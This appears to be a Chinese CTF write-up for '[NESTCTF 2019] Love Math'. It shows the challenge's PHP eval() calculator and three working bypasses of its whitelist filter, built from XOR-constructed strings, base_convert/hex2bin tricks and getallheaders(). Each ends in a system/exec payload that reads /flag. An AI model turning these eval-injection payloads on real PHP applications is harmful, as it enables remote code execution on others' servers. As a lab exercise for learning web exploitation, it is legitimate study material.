刷题笔记:[NESTCTF 2019]Love Math

前言

<?php
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 60) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

题解

方法1 异或/取反

白名单制，给了很多数学函数，思路类似于构造所以可以考虑用这些数学函数通过异或/取反来构造成想要的字符。

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
    for($i = 0;$i < 9; $i++){
        for($j = 0;$j <=9;$j++){
            $exp = $payload[$k] ^ $i.$j;
            echo($payload[$k]."^$i$j"."==>$exp");
            echo "<br />";
        }
    }
}

payload

/index.php?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=<command>

(is_nan^(6).(4)).(tan^(1).(5))为_GET

$pi=_GET，$$pi=$_GET

$pi{0}($pi{1})即$_GET{0}($_GET{1})

eval('echo $pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1});');

看到eval已经里面的字符串可控，就应该想到分号;间隔执行多个命令

<?php
error_reporting(0);
echo 'is_nan' ^ 64;
echo '<br>';
echo 'is_nan' ^ '64';
echo '<br>';
echo 'is_nan' ^ '6' . '4';
echo '<br>';
eval('echo is_nan^64;');
echo '<br>';
eval("echo is_nan^'64';");

需要字符串异或才行，所以将数字以括号分割。

方法2 进制转换

利用进制间的转换，使用hex2bin()函数，hex2bin()函数把十六进制值的字符串转换为 ASCII字符。

1.首先将hex2bin转换为十进制：base_convert('hex2bin',36,10);，得到37907361743。注意这里是36->10。

2.将_GET转换为十六进制：5f474554

3.再由hex2bin()函数将十六进制转换为ASCII字符：base_convert(37907361743,10,36)(dechex(1598506324)); 注意这里是10->36。

其中三十六进制中，有数字字母可满足白名单。

利用php中动态函数特性，也就是把函数名通过字符串传递给一个变量，然后通过此变量动态调用函数。
此时变量$pi='_GET'继续构造GET传参：

($$pi){pi}(($$pi){abs})

// 等价于
$_GET[pi]($_GET[abs])

因为[]在黑名单中，所以使用{}代替。

pi=system
abs=cat /flag

// 被拼接为
system(cat /flag)

payload

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flag

方法3 header传参

getallheaders()函数，获取全部 HTTP 请求头信息，利用header传参
getallheader()函数返回的是格式为数组，但因[]在黑名单中无法使用，所以采用getallheader(){1}返回自定义头1里面的内容

同样是使用base_convert()函数，与方法2同理

1.首先将exec转换为10进制：base_convert('exec',36,10);，得到696468

2.再将getallheaders转化：base_convert('getallheaders',30,10)，得到8768397090111664438

3.将变量$pi动态调用base_convert()函数

?c=$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})

// 等价于
exec(getallheaders(){1})

抓包，添加请求头信息

1: cat /flag

参考链接

https://blog.csdn.net/weixin_44037296/article/details/111868053